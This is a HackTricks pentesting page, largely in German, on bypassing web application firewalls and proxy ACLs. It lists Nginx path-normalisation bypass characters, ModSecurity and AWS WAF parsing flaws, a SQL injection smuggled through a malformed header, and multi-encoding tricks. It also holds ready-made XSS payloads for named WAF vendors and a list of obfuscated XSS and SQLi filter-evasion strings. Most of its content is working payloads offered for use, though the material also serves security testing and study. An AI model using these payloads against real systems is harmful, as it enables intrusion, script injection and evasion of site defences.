Proxy / WAF Protections Bypass

Reading time: 12 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Techniken from this research.

Nginx-Regelbeispiel:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Um Bypässe zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor es geprüft wird. Wenn der Backend-Server jedoch eine andere Normalisierung durchführt (z. B. das Entfernen von Zeichen, die nginx nicht entfernt), kann es möglich sein, diese Abwehr zu umgehen.

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM-Konfiguration:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx ist so konfiguriert, dass der Zugriff auf /admin.php blockiert wird, aber es ist möglich, dies zu umgehen, indem man /admin.php/index.php aufruft.

Wie verhindert man das?

plaintext
location ~* ^/admin {
deny all;
}

ModSecurity-Regeln umgehen

Pfad-Verwirrung

In diesem Beitrag wird erklärt, dass ModSecurity v3 (bis 3.0.12) die Variable REQUEST_FILENAME fehlerhaft implementiert hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Decodierung durchgeführt wurde, um den Pfad zu erhalten.
Deshalb wird eine Anfrage wie http://example.com/foo%3f';alert(1);foo= in mod security so behandelt, als wäre der Pfad nur /foo, weil %3f in ? umgewandelt wird und damit das URL-Pfadende markiert, in Wirklichkeit erhält der Server aber den Pfad /foo%3f';alert(1);foo=.

Die Variablen REQUEST_BASENAME und PATH_INFO waren ebenfalls von diesem Bug betroffen.

Etwas Ähnliches trat in Version 2 von ModSecurity auf, was es erlaubte, einen Schutz zu umgehen, der Benutzer daran hinderte, auf Dateien mit bestimmten Erweiterungen für Backup-Dateien (wie .bak) zuzugreifen, indem der Punkt einfach URL-codiert als %2e gesendet wurde, zum Beispiel: https://example.com/backup%2ebak.

AWS WAF ACL umgehen

Fehlformatierter Header

Diese Untersuchung erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "malformed" Header gesendet wurde, der von AWS nicht korrekt geparst wurde, wohl aber vom Backend-Server.

Zum Beispiel, wenn man die folgende Anfrage mit einer SQL-Injection im Header X-Query sendet:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Es war möglich, AWS WAF zu umgehen, weil es nicht erkannte, dass die nächste Zeile Teil des Header-Werts ist, während der NODEJS-Server das tat (dies wurde behoben).

Generische WAF-Umgehungen

Limits für Request-Größe

WAFs haben üblicherweise eine maximale Länge von Requests, die sie prüfen können. Überschreitet eine POST/PUT/PATCH-Anfrage diese, wird die Anfrage vom WAF nicht geprüft.

Maximale Größe des Request-Bodys, die für Application Load Balancer und AWS AppSync protections inspiziert werden kann8 KB
Maximale Größe des Request-Bodys, die für CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections** inspiziert werden kann64 KB

Ältere Web Application Firewalls mit Core Rule Set 3.1 (oder älter) erlauben Nachrichten größer als 128 KB, indem die Inspektion des Request-Bodys deaktiviert wird, diese Nachrichten werden dann jedoch nicht auf Schwachstellen geprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) lässt sich dasselbe erreichen, indem das maximale Request-Body-Limit deaktiviert wird. Wenn eine Anfrage das Größenlimit überschreitet:

Wenn prevention mode: Protokolliert und blockiert die Anfrage.
Wenn detection mode: Inspiziert bis zum Limit, ignoriert den Rest und protokolliert, wenn der Content-Length das Limit überschreitet.

Standardmäßig inspiziert der WAF nur die ersten 8KB einer Anfrage. Das Limit kann auf bis zu 128KB erhöht werden, indem Advanced Metadata hinzugefügt wird.

Bis zu 128KB.

Static assets inspection gaps (.js GETs)

Einige CDN/WAF-Stacks wenden bei GET-Requests für statische Assets (z. B. Pfade, die mit .js enden) nur schwache oder gar keine Inhaltsinspektion an, während globale Regeln wie Rate-Limiting und IP-Reputation weiterhin gelten. In Kombination mit Auto-Caching statischer Extensions lässt sich dies missbrauchen, um bösartige Varianten auszuliefern oder zu platzieren, die nachfolgende HTML-Antworten beeinflussen.

Praktische Anwendungsfälle:

  • Sende Payloads in nicht vertrauenswürdigen Headern (z. B. User-Agent) mit einem GET auf einen .js-Pfad, um die Inhaltsinspektion zu umgehen, und fordere dann sofort das Haupt-HTML an, um die gecachte Variante zu beeinflussen.
  • Verwende eine frische/saubere IP; sobald eine IP markiert ist, können Routing-Änderungen die Technik unzuverlässig machen.
  • In Burp Repeater, verwende "Send group in parallel" (single-packet style), um die beiden Requests (.js dann HTML) in einem Rennen durch denselben Front-End-Pfad zu schicken.

This pairs well with header-reflection cache poisoning. See:

Cache Poisoning and Cache Deception

Obfuscation

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode-Kompatibilität

Je nach Implementierung der Unicode-Normalisierung (mehr Infos here) können Zeichen, die Unicode-kompatibel sind, den WAF umgehen und als beabsichtigte payload ausgeführt werden. Kompatible Zeichen finden Sie here.

Beispiel

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Wie in this blog post erwähnt, können wir, um WAFs zu umgehen, die den Kontext der Benutzereingabe beibehalten, die WAF-Mechanismen ausnutzen, um die Benutzereingabe tatsächlich zu normalisieren.

Zum Beispiel wird im Beitrag erwähnt, dass Akamai eine Benutzereingabe 10 Mal URL-decodet. Daher wird etwas wie <input/%2525252525252525253e/onfocus von Akamai als <input/>/onfocus gesehen, was als in Ordnung angesehen werden könnte, da das Tag geschlossen ist. Wenn die Anwendung jedoch die Eingabe nicht 10 Mal URL-decodet, sieht das Opfer etwas wie <input/%25252525252525253e/onfocus, was immer noch für einen XSS-Angriff gültig ist.

Daher lässt sich damit Payloads in kodierten Komponenten verbergen, die der WAF decodiert und interpretiert, während das Opfer sie nicht sieht.

Außerdem kann das nicht nur mit URL-kodierten Payloads gemacht werden, sondern auch mit anderen Encodings wie unicode, hex, octal...

Im Beitrag werden folgende finale Bypässe vorgeschlagen:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Es wird außerdem erwähnt, dass es je nach Art und Weise, wie einige WAFs den Kontext der Benutzereingabe verstehen, möglich sein kann, dies auszunutzen. Das im Blog vorgeschlagene Beispiel ist, dass Akamai erlaubte (oder erlaubte), beliebige Zeichen zwischen /* und */ zu platzieren (möglicherweise weil dies häufig als Kommentar verwendet wird). Daher würde eine SQLinjection wie /*'or sleep(5)-- -*/ nicht erkannt werden und gültig sein, da /* der Beginn der Injection ist und */ kommentiert ist.

Solche Kontextprobleme können auch genutzt werden, um andere Schwachstellen auszunutzen als diejenige, die vom WAF erwartet wird (z. B. könnte dies auch verwendet werden, um XSS auszunutzen).

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Verschiedene Techniken können verwendet werden, um die Regex-Filter von Firewalls zu umgehen. Beispiele sind abwechselnde Groß-/Kleinschreibung, Einfügen von Zeilenumbrüchen und Kodieren von Payloads. Ressourcen für die verschiedenen Bypässe finden sich bei PayloadsAllTheThings und OWASP. Die untenstehenden Beispiele wurden aus this article entnommen.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Werkzeuge

  • nowafpls: Burp-Plugin, um Anfragen mit Junk-Daten zu füllen, um WAFs anhand der Länge zu umgehen

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks